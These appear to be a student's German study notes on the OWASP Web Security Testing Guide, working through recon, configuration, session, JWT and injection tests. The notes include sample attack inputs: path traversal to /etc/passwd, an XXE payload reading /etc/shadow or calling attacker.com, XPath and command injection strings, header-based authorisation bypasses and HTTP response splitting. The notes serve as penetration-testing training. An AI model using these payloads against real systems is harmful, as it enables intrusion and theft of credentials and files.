Skip to content

WSTG-INFO-01 (OSINT)

  • robots.txt
  • sitemap.xml
  • Google Hacking dorksearch.com
  • https://osint.sh/
  • https://www.osintdojo.com/resources/
  • https://i-intelligence.eu/uploads/public-documents/OSINT_Handbook_2020.pdf
  • https://github.com/TheHermione/DorkFinder?tab=readme-ov-file
  • https://book.hacktricks.xyz/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets

WSTG-INFO-02 (Fingerprint Web Server)

Herausfinden des Webservers und der Version. - Banner grabbing - Request mit/ohne TLS - Kaputte Requests schicken - Cookie namen - https://addons.mozilla.org/en-US/firefox/addon/builtwith/ - https://addons.mozilla.org/en-GB/firefox/addon/wappalyzer/ - Die Antworten von Requests können unterschiedlich ausfallen beispielsweise unterschiedliche Reihenfolge der Header, bei unterschiedlichen Webservern.

WSTG-INFO-03 (Webserver Metafiles Information Leakage)

  • Identifizierung von versteckten oder obfuskierten Pfaden
  • robots.txt
  • <META NAME="ROBOTS" wie robots Datei nur innerhalb des HTML
  • anderd META Tags
  • sitemap.xml
  • /security.txt & /.well-known/security.txt RFC 9116 contact Information for security researchers https://securitytxt.org/
  • humans.txt Informationen über die Entwickler der Seite
  • Andere Well-Known URIs nach IANA

WSTG-INFO-04 Enummerierung von Anwendungen auf dem Webserver

  • Verschiedene base URLs example.com/app1, example.com/app2
  • Verwendung nicht standardmäßiger Ports, wie 8080, 8443...
  • Virtuelle Hosts
  • Nameserver finden: host -t ns <domain> und zone transfer ausführen: host -l <domain> <nameserver>
  • Reverse DNS querry
  • dnsdumpster
  • Informationen des TLS Zertifikates openssl s_client -connect <ip>:<port> </dev/null 2>/dev/null | openssl x509 -noout -text | grep -E 'DNS:|Subject:'

WSTG-INFO-05 Analysieren von Webseiten nach Informationsleaks

  • "source maps" für debug Zwecke. schaffen eine Verbindung zwischen minimierten/obfuskierten Versionen und dem Original. An die Dateinamen wird oft .map angehangen
  • Evaluieren von Kommentaren, Metadaten und redirect Bodys.
  • Evaluieren der Javascript Dateien
  • https://github.com/tomnomnom/waybackurls

WSTG-INFO-06 Identifizierung von Applikationsendpunkten

  • Identifizieren wo GET und POST Requests genutzt werden.
  • Identifizieren von Parametern in einem POST Request
  • Attack Surface Detector

WSTG-INFO-07

  • Spider

WSTG-INFO-08 Fingerprint Web Application Framework

  • Frameworks haben spezielle Strukturen und Aufbau
  • HTTP headers X-Powered-By X-Generator
  • Cookies
  • HTML source code
  • Spezifische Dateien und Ordner
  • Dateierweiterungen
  • Fehlernachrichten
  • Generelle Identifier:
    • powered by
    • built upon
    • running
Framework Keyword
Adobe ColdFusion <!-- START headerTags.cfm
Microsoft ASP.NET __VIEWSTATE
ZK <!-- ZK
Business Catalyst <!-- BC_OBNW -->
Indexhibit ndxz-studio
- Whatweb -a 3
# WSTG-INFO-10 Identifizieren der Applikationsarchitektur
- Detect Platform-as-a-Service (AWS, Azure...) Serverless (X-Amz-Invocation-Type, X-Amz-Log-Type, X-Amz-Client-Context)
- Dedizierte Speicherlösungen
- Amazon S3 Buckets BUCKET.s3.amazonaws.com oder s3.REGION.amazonaws.com/BUCKET
- Azure Speicher Account ACCOUNT.blob.core.windows.net
- Datenbank identifizieren
- Windows, IIS und ASP.NET nutzen oft Microsoft SQL Server
- Eingebettete Systeme nutzen oft SQLite
- PHP nutzt oft MySQL oder PostgeSQL
- APEX nutzt oft Oracle
- Authentifizierung erfolgt oft bei Applikationen
- Web Server Konfiguration (schließt .htaccess mit ein) identifizierbar durch popup und WWW-Authenticate: Basic
- Lokale Nutzer Accounts
- Active Directory oder LDAP Möglicherweise mit NTLM Authentifizierung WWW-Authenticate: NTLM
- SSO (OAuth, OpenID Connect, SAML)
- third party services (scripts, sylesheets, Bilder, APIs, social media, Advertising, Payment gateways)
- Netzwerk Komponenten(Reverse Proxy,Load Balancer, CDN)
- Emails können von dem Backend geschickt werden und die IP verraten
- Firewall, IDPS, WAF
# WSTG-CONF-01 Test der Netzwerk Konfiguration
- Validieren der Netzwerkkonfiguration
- Validieren, das genutzt Frameworks und Systeme sicher sind
# [WSTG-CONF-02] Applikations Platform Konfiguration
- Verifizieren, ob Standard und bekannte Dateien entfernt wurden.
- Verifizieren, dass es kein Debug Code oder erweiterungen gibt im Produktivsystem
- Verifizieren des Logging Prozesses
- https://github.com/microsoft/AttackSurfaceAnalyzer
- NIST checklists
- Keine Default Fehlernachrichten
- Graybox (Whitebox)
# WSTG-CONF-03 Check der Dateierweiterungen
- Brute Forcen von Dateierweiterungen
- .zip, .tar, .gz, .tgz, .rar
- .java
- .txt
- .pdf
- .docx, .rtf, .xlsx, .pptx
- .bak, .old
- https://filext.com/
# WSTG-CONF-04 Untersuchen von Backup und unreferenzierten Dateien
Weiterlesen: https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/04-Review_Old_Backup_and_Unreferenced_Files_for_Sensitive_Information.md#how-to-test
# WSTG-CONF-05 Suche nach Administrationsinterfaces
- Standard Pfade
# WSTG-CONF-06 Testen der HTTP Methoden
Method Original Purpose
------------------------------------------------------------------------ -------------------------------------------------
GET Request a file.
HEAD Request a file, but only return the HTTP headers.
POST Submit data.
PUT Upload a file.
DELETE Delete a file
CONNECT Establish a connection to another system.
OPTIONS List supported HTTP methods.
TRACE Echo the HTTP request for debug purposes.
PATCH 
CONNECT 192.168.0.1:443 HTTP/1.1
Host: example.org
- Windows equivalent zu TRACE ist TRACK
- CONNECT erlaubt die Erstellung einer TCP Verbindung: CONNECT <ip>:<port> HTTP/1.1
- HTTP Methoden überschreiben mit den Headern: X-HTTP-Method, X-HTTP-Method-Override, X-Method-Override
# WSTG-CONF-07 Test HTTP Strict Transport Security
- max-age spezifiziert die Gültigkeit der Direktive in Sekunden
- includeSubDomains schließt alle Subdomains mit ein
- preload (Unoffiziel) definiert, dass die Domain auf der preload Liste ist für Domains ist, die nie ohne HTTPS geladen werden sollten
- Empfehlung: Strict-Transport-Security: max-age=31536000; includeSubDomains
# WSTG-CONF-09 Test Datei Rechte
> [!INFO] Whitebox
> Test der Dateiberechtigungen

WSTG-CONF-10 Test for Subdomain Takeover

Gibt es eine Domain auf, die das Opfer zeigt welche nicht mehr gültig ist, weil sie abgelaufen ist, oder auf ein veraltetes Github/Gitlab Pages Dokument zeigt, ist es möglich, dies zu übernehmen. - Bei einer der Antworten eines Endpunktes könnte ein Chance für einen Subdomain Takeover Angriff bestehen: - NXDOMAIN - SERVFAIL - REFUSED - no servers could be reached - enumerate the domain: dnsrecon -d victim.com - check Domain dig CNAME victim.com - Überprüfen des Besitzers: whois <ip> | grep "OrgName" - Identifizieren von Nameservern für die Domain dig ns victim.com +short. Die Antworten SERVFAIL und REFUSED sollten genauer untersucht werden. - sublist3r

WSTG-CONF-11 Test Cloud Storage

  • Überprüfen des Cloud Speichers auf deren Zugriffsrechte
  • Check des Datei hochladens: curl -X PUT -d 'test' 'https://<cloud-storage-service>/test.txt'

WSTG-CONF-12 Testing Content Security Policy

Die Content-Security-Policy und die <meta> Tags können dafür genutzt werden, um zu spezifizieren von welchen Quellen, Resourcen wie Javascript, CSS, Bilder und sonstige geladen werden können. Durch diese Sicherheitsmaßnahme werden Attacken wie XSS und Clickjacking verhindert. - unsafe-inline erlaubt die Nutzung von inline scripts und styles, was zu XSS führen kann. - unsafe-eval erlaubt die Nutzung von eval() und ist anfällig gegen bypass Techniken, wie URL injection - unsafe-hashes erlaubt die Nutzung von inline scripts und styles, wenn sie einem bestimmten Hash ähneln - Resourcen können von jeder beliebigen Quelle erlaubt werden, wenn der wildcard * genutzt wird. - Werden JSONP endpunkte genutzt kann dies zu einem CSP oder same-origin-policy bypass führen - Framing kann für alle Quellen mit dem * wildcard in der frame-ancestors Direktive aktiviert werden. Ist dieser Header nicht definiert im CSP ist die Applikation möglicherweise anfällig gegenüber clickjacking - https://csp-evaluator.withgoogle.com/ 

script-src 'nonce-r4nd0m' 'strict-dynamic';
object-src 'none'; base-uri 'none';
- Das obige Bilded eine Moderate Policy ab, eine strenge Policy kann durch entfernen von strict-dynamic erreicht werden. - script-src Restriktiert die Quellen von wo Skripts geladen werden können - object-src Restriktiert die Quellen von denen Objekte geladen werden können - base-uriDie Basis URL die für relative Pfade genutzt wird. Ohne diese Direktive wird die Webseite verwundbar gegenüber HTML base tag injections.

WSTG-CONF-13 Test der Pfad Verwirrung

  • Applikationspfade müssen korrekt konfiguriert sein, um web cache deception Angriffe zu vermeiden.
  • Ist der Pfad https://example.com/user/dashboard sollte etwas wie https:// example.com/user/dashboard/non.js geprüft werden.
  • [[Hacking/Web/Web Cache Deception]]

WSTG-IDNT-01 Test der Rollen Definitionen

  • Identifizieren und Dokumentieren der genutzten Rollen der Anwendung
  • Versuchen Rollen zu ändern, zu wechseln oder auf sie zuzugreifen.
  • Fuzzen möglicher Rollen:
    • Cookie variablen: role=admin, isAdmin=True
    • account variable: Role: manager
    • versteckte Ordner: /admin, /mod, /backups
    • wechsel zu bekannten Nutzern wie admin oder backups
    • Authmatrix Burp extension

WSTG-IDNT-02 Test des Registrierungsprozesses

  • Verifizieren der nötigen Identitätsnachweise
    • Kann sich jeder registrieren?
    • Werden Registrierungen automatisch durchgeführt oder von einem Nutzer genehmigt
    • Kann die selbe Person oder identität sich mehrmals registrieren
    • Können sich Nutzer für verschiedene Rollen registrieren
    • Welchen Nachweis der Identität gibt es?
    • Sind registrierte Nutzer verifiziert?
    • Können Identitätsinformationen leicht gefälscht werden?
    • Kann der Informationsaustausch während der Registrierung manipulliert werden?

WSTG-IDNT-03 Test der Provision des Account Prozesses

  • Verifizieren, welche Accounts Konten erstellen können und welchen Typ sie haben.
  • Gibt es irgendeine Verifikation, Abwägung oder Genehmigung Zugriffsrechte zu entziehen
  • Kann ein Administrator andere Administratoren oder Nutzer erstellen
  • Kann ein Administrator Accounts mit höheren Rechten als er selbst hat erstellen.
  • Kann ein Nutzer oder Administrator seinen eigenen Account entfernen?
  • Wie werden Daten von gelöschten Nutzern behandelt.

WSTG-IDNT-04 Test der Account Enummerierung und erratbare Nutzernamen

Verifiziere, dass unregistrierte Nutzer oder bekannte Nutzer ihren Namen nicht zu reservierten Nutzernamen wie admin, administrator oder moderator ändern kann.

WSTG-IDNT-05 Schwache oder nicht umgesetzte erzwingung der Nutzer Policy

Wichtig???

WSTG-ATHN-02 Test auf Standard Passwörter

  • Testen ob es Standard Passwörter gibt.
  • https://cirt.net/passwords
  • https://github.com/ihebski/DefaultCreds-cheat-sheet/blob/main/DefaultCreds-Cheat-Sheet.csv

WSTG-ATHN-03 Test des Auslog Prozesses

Die folgenden Angriffe sollen durch einen Logout Prozess abgewehrt werden: - Passwort oder Nutzernamen erraten - Erraten der 2FA Codes oder Sicherheitsfragen - Zum testen das Passwort 3 Mal falsch eingeben und dann richtig. Wiederholen für 4 und 5 Mal - Nach 5 Malen sollte der Account gesperrt sein - Nach 5 Min überprüfen, ob der Account immer noch gesperrt ist - Nach 10 Min überprüfen - Nach 15 Minuten sollten ein einloggen wieder möglich sein - Captchas können Brute Force auch verhindern, kommen aber mit ihren eigenen Schwachstellen, wenn sie nicht korrekt implementiert wurden - Evaluieren des Prozesses zum Aktivieren des Accounts

WSTG-ATHN-04 Test zum Umgehen des Authentifizierungs Schemas

  • Überprüfen, ob eine Authentifizierung bei allen benötigten Diensten Aktiv ist.
  • Die Authentifizierung kann umgangen werden durch die Manipulation von Parametern...

WSTG-ATHN-05 Test der Passwort merken Funktion

  • Die Credentials sollten als Tokens im Browser gespeichert werden.
  • Analysieren der Lebenszeit der Tokens

WSTG-ATHN-06 Test der Browser Cache Schwachstellen

  • Prüfen, ob Anwendung den Nutzer anweist sensible Daten nicht zu speichern
  • Um zu verhindern, dass man durch die Zurück Taste sensible Daten sehen, muss die Direktive Cache-Control: must-revalidate gesetzt werden. Diese Direktive verhindert sensible Daten in der history.
  • Die Direktiven Cache-Control: no-cache, no-store, Expires: 0 und Pragma: no-cache verhindern, dass sensible Informationen gecacht werden und müssen dementsprechend bei sensiblen Antworten gecacht sein.
    • Noch sicherer Header: Cache-Control: must-revalidate, max-age=0, s-maxage=0
  • Zum überprüfen des caches kann im Verzeichnis: ~/.cache/mozilla/firefox/ gesucht werden. Allerdings kann dies in Firefox auch durch die URL about:cache abgefragt werden.
  • Auf mobilen Geräten, kann dies unterschiedlich gehandhabt werden, dafür kann der Responsive Design Mode unter Firefox genutzt werden.

WSTG-ATHN-07 Test auf schwache Passwort Policys

  • Erlaubte/Verbotene Zeichen
  • Verhinderung dass User Nutzername als Passwort nutzt
  • Minimale/maximale Passwortlänge
  • Sind oft benutzte Passwörter Nutzbar

WSTG-ATHN-08 Schwache Sicherheitsfragen

  • Test der Sicherheit der Fragen
  • Check, ob Fragen Bruteforcebar sind.

WSTG-ATHN-09 Test der Passwortänderungs und Reset Funktion

  • Überprüfen, ob es möglich ist mithilfe der Passwortänderungs und Reset Funktion es möglich ist den Account zu kompromittieren
  • Welche Informationen werden für die Funktionen benötigt
  • Mehrfaches benutzen des Passwort Reset Links
  • DoS durch Passwort Reset (Nutzer wird ausgeloggt aufgrund des Resets)
  • Verfällt der Passwort Reset Link
  • Ist das Token für den Reset Lang genug
  • Ist Mail von einer Domain mit anti spoofing schutz
  • Wird der Passwort Reset Link im Referer offenbart (Referrer-Policy)

WSTG-ATHN-10Test auf schwache Authentifizierung in Alternativen Kanälen

  • Es sollte geprüft werden, ob es Alternative Möglichkeiten gibt sich einzuloggen
  • Mobile Anmeldung
  • Benutzeroptimierte Webseiten
  • Alternative Webseiten (Unterschiedliche Sprache/Land)
  • Webseite, welche die gleichen Accounts nutzt, aber andere Inhalte anbietet
  • Auch kann es sein, dass die Webseite unter bestimmten Vorraussetzungen in der Funktionalität verändert wird
    • Seite ohne Cookies
    • Seite ohne JavaScript
    • Seite ohne Plugins wie ohne Flash oder Javascript

WSTG-ATHN-11 Test der Multifaktor Authentifikation

  • Wird der Account gesperrt nach mehrmaligen Fehlern
  • Wird die IP nach mehrmaligen Fehlern in mehreren Accounts geblockt
  • Werden fehlschläge geloggt
  • Sind Injections möglich
  • Wie kommt ein OTP Code zum Nutzer
  • Wie Stark sind die OTP Codes
  • Wie lang sind OTPs gültig
  • Können die OTPs mehrmals genutzt werden
  • Sind mehrere OTPs gleichzeitig gültig
  • Sind die OTPs an einen Nutzer gebunden

WSTG-ATHZ-01 Test von Directory Traversal

  • Interessante Variablennamen:
    • http://exampl.com/getUserProfile.jsp?item=ikki.html
    • http://exampl.com/index.php?file=content
  • Ungewöhnliche Dateierweiterungen
  • Cookies zur dynamischen Erstellung von Seiten oder Templates
    • Cookie: ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:TEMPLATE=flower
    • Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
  • File Inclusion Angriffe wie:
    • http://exampl.com/getUserProfile.jsp?item=../../etc/passwd
    • http://exampl.com/index.php?file=http://www.owasp.org/malicioustxt
  • Folgende zeichen können bei Windows an Pfade angehängt werden ohne eine Änderung zu bewirken:
    • Spitze Klammern: < und > am Ende des Pfades
    • Doppelte Anführungszeichen (richtig geschlossen) am Ende des Pfades
    • Fremde Markierungen für das aktuelle Verzeichnis wie ./ und .\\
    • Fremde übergeordnete Verzeichnismarkierungen mit willkürlichen Elementen, die existieren können oder auch nicht:
      • file.txt
      • file.txt...
      • file.txt<spaces>
      • file.txt""""
      • file.txt<<<>>><
      • ./././file.txt
      • nonexistant/../file.txt
  • Die folgenden Zeichen werden bei der Windows API ignoriert:
    • Punkte
    • Leerzeichen
  • Windows UNC Dateipfade welche genutzt werden um Pfade auf SMB Shares zu benutzen.
    • \\server_or_ip\path\to\file.abc
    • \\?\server_or_ip\path\to\file.abc
  • Windows NT Geräte Namespace. Ist Ähnlich zu einem Gerätebezeichner wie C:\ oder einem Gerät ohne diesen Bezeichner.

WSTG-ATHZ-02 Authorisations schema umgehen

  • Ist es möglich Resourcen ohne Login aufzurufen
  • Ist es möglich auf Ressourcen zuzugreifen nach einem Logout
  • Ist es möglich auf Ressourcen anderer Nutzer zuzugreifen
  • Test auf spezielle Request Header
    • X-Original-URL und X-Rewrite-URL können die URL überschreiben
    • Um zu testen, ob diese Header unterstützt werden muss ein normaler Request zu einer gültigen Ressource geschickt werden und danach Requests mit den Headern, welche auf eine ungültige Resource zeigen.
  • Weitere Header die die Authorisierung umgehen können sind:
    • X-Forwarded-For
    • X-Forward-For
    • X-Remote-IP
    • X-Originating-IP
    • X-Remote-Addr
    • X-Client-IP
  • Werte:
    • 127.0.0.1
    • alles im Adressbereich 127.0.0.0/8
    • alles im Adressbereich ::1/128
    • Alle RFC1918 Adressen
      • 10.0.0.0/8
      • 172.16.0.0/12
      • 192.168.0.0/16
    • Link Local Adresson: 169.254.0.0/16
  • Auch die Angabe eines Portes kann helfen Web Firewalls zu umgehen

WSTG-ATHZ-03 Privilege Escalation

  • URL Traversal kann die Authorisierung umgehen

WSTG-ATHZ-04 Insecure Direct Object References

WSTG-ATHZ-05 OAuth Schwachstellen

Muss noch angeguckt werden. Zusätzlich noch 5.1 und 5.2

WSTG-SESS-01 Test auf Session Management

  • Sind alle Set-Cookie Direktiven mit dem Secure Flag gesetzt
  • Werden Cookies unverschlüsselt übertragen?
  • Kann die übertragung von Cookies über unverschlüsselte Verbindungen übertragen werden
    • Falls ja, wie stellt die Applikation die Sicherheit fest?
  • Sind Cookies Persistent?
  • Welche Ablaufzeiten sind konfiguriert und sind sie verhältnismäßig?
  • Werden Cookies die vergänglich sein sollen als solche konfiguriert
  • Welche HTTP/1.1 und HTTP/1.0 Cache-Control Einstellungen existieren um die Cookies zu schützen
  • Token Struktur & Information Leakage

WSTG-SESS-02 Test der Cookie Attribute

https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Creating_cookies - Secure Attribut sendet Cookies nur über verschlüsselte Verbindungen. - HttpOnly Attribut schützt das Cookie vor Client seitigen Skripten wie JavaScript. Allerdings schützt dies nicht vor XSS, da es möglich ist Requests im Namen des Nutzers zu stellen schränkt XSS aber stark ein. - Domain Attribut ist nur für die angegebene Domain gültig. Wird sie nicht gesetzt, wird dies automatisch gesetzt. - SameSite Attribut gibt an, ob ein Cookie an andere Seiten gesendet werden darf. Dies hilft davor CSRF Angriffe zu verhindern. Es wird die Verwendung von Strict oder Lax empfohlen. - Strict wird nur für Anfragen, von der selben Seite gesendet. - Lax Cookies werden nur gesendet an andere Seiten, bei sicheren HTTP-Methoden wie GET. - None Cookies werden für alle Anfragen unabhängig vom Ursprung gesendet, Standardverhalten wenn das Attribut nicht gesetzt ist. - Host Prefix __Host- kann genutzt werden um durchzusetzen, dass Cookies bestimmte Sicherheitsattribute erfüllen. - Secure Attribut muss genutzt werden - Das Cookie muss gesetzt sein von einer URI welche als Sicher vom User Agent angesehen wird - Die Cookies werden nur an den Host gesendet, welcher den Cookie gesetzt hat und muss nicht das Domain Attribut enthalten - Das Cookie muss gesendet werden mit dem Path Attribut und dem Wert / - Neben dem Host Prefix gibt es noch das Secure Prefix __Secure- dieses ist weniger restriktiv. - Cookie mit Secure Flag - Das Cookie muss gesetzt werden von einer URI welche vom User agent als Sicher gewertet wird - Sicherste Cookie Konfiguration: Set-Cookie: __Host-SID=<session token>; path=/; Secure; HttpOnly; SameSite=Strict

WSTG-SESS-03 Test auf Session Fixation

Session Fixation ist aktiviert durch das beibehalten der Session vor und nach dem Login. Diese Praxis wird dafür benutzt, damit in den Warenkorb gelegte Einkäufe auch nach dem einloggen noch drin sind. Dies kann ausgenutzt werden um dem Nutzer einen manipullierten Link oder Formular unterzuschieben mit einer Session des Angreifers.

WSTG-SESS-04 Test auf freiligende Session Variablen

Cache-Control: no-cache HTTP/1.0 cache ignoriert die Direktive Cache-Control: no-cache. Die Direktive Cache-Control: Private gibt an, dass die Session nur im privaten Cache gespeichert werden dürfen. Dass bedeutet, dass zwischengeschaltete Caches wie CDNs oder Proxys die Antwort nicht cachen dürfen. Die no-cache Direktive ist also besser in dem Schutz der Cookies, da hierbei der Cache überhaupt nicht gespeichert wird. Die Header Expires: 0 und Cache-Control: max-age=0 erhöhen die Sicherheit hierbei noch weiter.

WSTG-SESS-05 Testen auf Cross Site Request Forgery

csrftester hat bei Test nicht geklappt

WSTG-SESS-06 Test der Logout Funktionalität

  • Logout möglichkeit für den Nutzer sollte auf allen Seiten sichtbar sein
  • Session ordnungsgemäß beendet nach logout
  • Die gültigkeit einer Session sollte von 15 Minuten für eine Banking app über mehrere Stunden bei Applikationen wie Wikis

WSTG-SESS-07 Test des Session Timeout

Überprüfung des timeouts der Sessions

WSTG-SESS-08 Test auf Session Puzzling

Session Variablen Überladung auch als Session Puzzling bekannt, ist eine Applikationslevel Schwachstelle. Die es unter anderem ermöglicht die folgenden Angriffe auszuführen: - Umgehen des Authentifizierungs mechanismus und das ausgeben als anderer Nutzer - Erhöhen der Benutzerrechte für einen Nutzer. - Prozessschritte zu überspringen - serverseitige Werte zu manipullieren Tritt auf, wenn eine Anwendung dieselbe Sitzungsvariable für mehr als einen Zweck verwendet. Dies kann dazuführen, dass Seiten in einer unerwarteten Reihenfolge auftreten kann. 1. Identifizieren aller Sitzungsvariablen 2. Der logische Ablauf der Sitzungserstellung muss unterbrochen werden, indem die Reihenfolge der Zugriffe auf verschiedene Einstiegspunkte der Anwendung verändert werden 3. Überprüfen der Kontextabhängigkeit der Sitzungsvariablen

WSTG-SESS-09 Testen auf Session Hijacking

Beim Session Hijacking übernimmt ein Angreifer eine Session. Indem dieser die Sitzungscookies eines Benutzers übernimmt. - Cookies mit Secure Flag und HSTS

WSTG-SESS-10 Test der JSON Web Tokens

JWTs sind kryptografisch signierte JSON-Tokens, die für die Authentifizierung und Sitzungsverwaltung vor allem in REST-APIs verwendet werden. Dabei hat der JWT Token einen Header, eine Nutzlast und eine Signatur. Jede Komponente ist dabei base64 kodiert. Der Header definiert dabei den Tokentyp, den Signatur Algorithmus. Dies sind meistens HMAC, RSA und ECDSA. Die Nutzlast enthält hierbei die eigentlichen Daten, die auf sensible Informationen geprüft werden sollten. Der Header wird dabei unter des im Header verwendeten Signatur Algorithmuses verwendet. Häufigste Schwachstellen: - Nicht ordnungsgemäßes überprüfen der Signatur - Verwendung schwacher HMAC Schlüssel - Umwandlung des JWTs zu john jwt2john - HMAC und Public Key Algorithmen Verwirrung - Checkt nicht, ob die Algorithmen richtig sind 1. Die Applikation muss erwarten, dass der JWT durch einen asymmetrischen Algorithmus signiert wird 2. Die Applikation darf nicht überprüfen, welcher Algorithmus für die Signatur Erstellung nötig ist. 3. Der öffentliche Schlüssel, welcher zur verifizierung des JWTs benötigt wird muss dem Angreifer zur Verfügung stehen - Beispielsweise ist dies möglich wenn der Schlüssel für die TLS Verschlüsselung und der für JWT gleich ist. openssl s_client -connect exampl.org:443 | openssl x509 -pubkey -noout - Alternativ könnte der Schlüssel in /.well-known/jwks.json gefunden werden

  • Der none Algorithmus der keine Signatur angibt, kann eine Schwachstelle sein, wenn er nicht blockiert wird
  • Umgehung der ECDSA-Signaturüberprüfung in den Java Versionen 15-18
    • Dabei wird der ES256 Algorithmus genutzt um die Signatur zu umgehen indem der Körper verfälscht wird und die Signatur durch den Wert MAYCAQACAQA ersetzt wird.

WSTG-SESS-11 Testen von mehreren gleichzeitigen Sessions

Es soll getestet werden mehrere aktive Sitzungen gleichzeitig zu haben. - Zusätzliche Testfälle können Sitzungen von der gleichen IP-Adresse, unterschiedlichen IP-Adressen und unwahrscheinlichen/unmöglichen Standorten umfassen

WSTG-INPV-01 Testen auf Reflektiertes XSS

Test der folgenden Zeichen: - > (greater than) - < (less than) - & (ampersand) - ' (apostrophe or single quote) - " (double quote) Innerhalb von HTML sollten zusätzlich noch die folgenden Zeichen escaped werden: - \n (new line) - \r (carriage return) - ' (apostrophe or single quote) - " (double quote) - \ (backslash) - \uXXXX (unicode values) XSS Cheat Sheet

WSTG-INPV-02 Gespeichertes XSS

https://beefproject.com/ xsshunter - Kann der Dateityp zu text/html geändert werden ist die Speicherung von Javascript möglich

WSTG-INPV-04 Test auf HTTP Parameter Pollution

Bei HPP schickt ein Angreifer mehrere HTTP Parameter mit demselben Namen. Dies kann zu unerwarteten Anwendungsverhalten und potenziellen Sicherheitslücken. Dies ist möglich, da die offiziellen Webstandards keine klare Richtlinie zur handhabung von doppelten Parametern zur Verfügung stehen. HPP kann dazu verwendet werden Eingabevalidierungen zu umgehen.

Web Application Server Backend Parsing Result Example
ASP.NET / IIS All occurrences concatenated with a comma color=red,blue
ASP / IIS All occurrences concatenated with a comma color=red,blue
.NET Core 3.1 / Kestrel All occurrences concatenated with a comma color=red,blue
.NET 5 / Kestrel All occurrences concatenated with a comma color=red,blue
PHP / Apache Last occurrence only color=blue
PHP / Zeus Last occurrence only color=blue
JSP, Servlet / Apache Tomcat First occurrence only color=red
JSP, Servlet / Oracle Application Server 10g First occurrence only color=red
JSP, Servlet / Jetty First occurrence only color=red
IBM Lotus Domino Last occurrence only color=blue
IBM HTTP Server First occurrence only color=red
Node.js / express First occurrence only color=red
mod_perl, libapreq2 / Apache First occurrence only color=red
Perl CGI / Apache First occurrence only color=red
mod_wsgi (Python) / Apache First occurrence only color=red
Python / Zope All occurrences in List data type color=['red','blue']

WSTG-INPV-05 SQL Injection

Evasion Techniken werden erklärt im Kapitel. Zudem gibt es zusätzliche Kapitel

WSTG-INPV-06 Test auf LDAP Injection

Metachar Meaning
& Boolean AND
| Boolean OR
! Boolean NOT
= Equals
~= Approx
>= Greater than
<= Less than
* Any character
() Grouping parenthesis
# WSTG-INPV-07 Test auf XML Injection
Der erste Schritt auf eine XML Injection zu testen ist die nutzung von XML Metacharacteren.
Bei Attributen ' und "um Strings kaputt zu machen. Zudem <und >bei Nutzereingaben nicht in den Attributen. Kommentartag <!-- und -->. Unicode Zeichen beispielsweise &lt;ist das < Zeichen. Zudem gibt es noch die <!\[CDATA\[ / ]]>Sektion. Mit dieser ist es möglich Text anzugeben, welcher nicht geparst wird. Beispielsweise: <![CDATA[<foo>]]> Dies ergibt den escaped String <foo>welcher nicht geparst wird. Wird in diesem CDATA Element eine variable genutzt, kann versucht werden diese String zu zerbrechen, indem ]]> eingefügt wird. Wird das XML benutzt, um ein HTML zu generieren, kann das CDATA Element genutzt werden um Javascript Zeichen zu escapen und so eine XSS Attacke am Filter vorbeizuschleusen.
Der folgende Code kann zum ausnutzen von XXE genutzt werden: 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [ <!ELEMENT foo ANY >
        <!ENTITY xxe SYSTEM "file:///dev/random" >]>
        <foo>&xxe;</foo>
Andere nützliche Daten hierfür sind:
- file:///etc/passwd
- file:///c:/boot.ini
- file:///etc/shadow
- http://www.attacker.com/text.txt

WSTG-INPV-08 Test auf SSI Injection

WSTG-INPV-09 Test auf XPath Injection

Mit der zur SQL ähnlichen Abfragesprache XPath ist es möglich auf XML Daten zuzugreifen und auch Injections durchzuführen. 

<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
    <user>
        <username>gandalf</username>
        <password>!c3</password>
        <account>admin</account>
    </user>
    <user>
        <username>Stefan0</username>
        <password>w1s3c</password>
        <account>guest</account>
    </user>
    <user>
        <username>tony</username>
        <password>Un6R34kb!e</password>
        <account>guest</account>
    </user>
</users>
Beim obigen XML Dokument kann zum Beispiel mit der folgenden Abfrage der Nutzername gandalf und das Passwort !c3 zurückgegeben werden. 
string(//user[username/text()='gandalf' and password/text()='!c3']/account/text())
Wird die Eingabe nicht ordnungsgemäß gefiltert, kann hier eine Injection durchgeführt werden: 
Username: ' or '1' = '1
Password: ' or '1' = '1
Werden diese Eingaben genutzt sieht die Abfrage wie folgt aus: 
string(//user[username/text()='' or '1' = '1' and password/text()='' or '1' = '1']/account/text())
Zum Anfang wird am besten ein ' um zu testen, ob die Anwendung eine Fehlermeldung zurückgibt.

WSTG-INPV-10 Test auf IMAP und SMTP Injection

Meistens ist es am effektivsten den Webmail Server anzugreifen, da dieser öffentlich im Internet steht.

On the IMAP server On the SMTP server
Authentication Emissor email
operations with mail boxes (list, read, create, delete, rename) Destination email
operations with messages (read, copy, move, delete) Subject
Disconnection Message body
Attached files
Verfügbare IMAP Kommandos: CAPABILITY, NOOP, AUTHENTICATE, LOGIN und LOGOUT.
# WSTG-INPV-11 Test auf Code Injection
11.1 File Inclusion
# WSTG-INPV-12 Test auf Command Injection
- cmd1|cmd2 : Uses of | will make command 2 to be executed whether command 1 execution is successful or not.
- cmd1;cmd2 : Uses of ; will make command 2 to be executed whether command 1 execution is successful or not.
- cmd1||cmd2 : Command 2 will only be executed if command 1 execution fails.
- cmd1&&cmd2 : Command 2 will only be executed if command 1 execution succeeds.
- $(cmd) : For example, echo $(whoami) or $(touch test.sh; echo 'ls' > test.sh)
- cmd : It's used to execute a specific command. For example, whoami
- >(cmd): >(ls)
- <(cmd): <(ls)
# WSTG-INPV-13 Test auf Format String Injection
# WSTG-INPV-14 Test auf Inkubierte Schwachstellen
Inkubierte Schwachstellen sind Schwachstellen die gespeichert werden, um sie später benutzen zu können.
# WSTG-INPV-15 Test auf HTTP Splitting / Smuggling
An den Parameter interface kann das folgende angehängt werden um einen zweiten Request zu schicken. 
HTTP/1.1 302 Moved Temporarily
Date: Sun, 03 Dec 2005 16:22:19 GMT
Location: http://victim.com/main.jsp?interface=advanced
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 35

<html>Sorry,%20System%20Down</html>
<other data>
